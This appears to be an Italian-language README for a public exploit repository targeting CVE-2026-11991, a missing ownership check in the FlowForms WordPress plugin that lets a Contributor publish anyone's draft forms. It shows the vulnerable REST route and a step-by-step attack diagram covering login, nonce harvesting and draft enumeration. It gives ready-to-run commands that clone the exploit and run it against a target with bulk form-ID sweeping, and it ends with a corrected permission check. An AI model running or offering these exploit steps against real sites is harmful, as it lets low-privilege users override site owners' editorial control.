POST /index.php?rest_route=/flowforms/v1/forms/{id}/publish

register_rest_route($ns, '/forms/(?P<id>\d+)/publish', [
    'methods'             => 'POST',
    'callback'            => [$this, 'publish_form'],
    'permission_callback' => fn() => current_user_can('edit_posts'),
]);

Attaccante (Contributor)              FlowForms REST API
        │                                   │
        │── POST /wp-login.php ────────────>│  (1) Autenticazione come Contributor
        │<─ cookie wordpress_logged_in ─────│
        │                                   │
        │── GET /wp-admin/post-new.php ────>│  (2) Raccolta del nonce REST
        │<─ wpApiSettings.nonce ────────────│
        │                                   │
        │── GET /flowform/{id} ────────────>│  (3) Enumerazione dei moduli bozza
        │<─ "Form Not Published" ───────────│      (risposta non autenticata)
        │                                   │
        │── POST /flowforms/v1/forms/       │  (4) Attivazione della pubblicazione su
        │        {id}/publish ─────────────>│      qualsiasi ID di modulo bozza
        │                                   │      ← nessun controllo di proprietà
        │<─ { "success": true } ────────────│
        │                                   │
        │   Il modulo è ora LIVE sul sito   │  (5) La bozza bypassa
        │   senza approvazione editoriale   │      il flusso di lavoro editoriale

git clone https://github.com/0x00phantom-hat/CVE-2026-11991-FlowForms-Exploit
cd CVE-2026-11991-FlowForms-Exploit
pip install -r requirements.txt

python3 CVE-2026-11991-exploit.py \
  --url http://TARGET \
  --user contributor \
  --password password123 \
  --num_forms 100 \
  --id_start 1

python3 CVE-2026-11991-exploit.py \
  --url http://TARGET \
  --proxy http://127.0.0.1:8080 \
  --user contributor \
  --password password123 \
  --num_forms 100 \
  --id_start 1

// VULNERABILE
'permission_callback' => fn() => current_user_can('edit_posts'),

// SICURO (corretto)
private function can_edit_form($form_id) {
    return current_user_can('edit_post', $form_id);
}
'permission_callback' => fn($request) => $this->can_edit_form(absint($request['id'])),

CVE-2026-11991-FlowForms-Exploit/
├── CVE-2026-11991-exploit.py   # Exploit rifinito con interfaccia ricca
├── requirements.txt            # Dipendenze Python
└── README.md                   # Questo file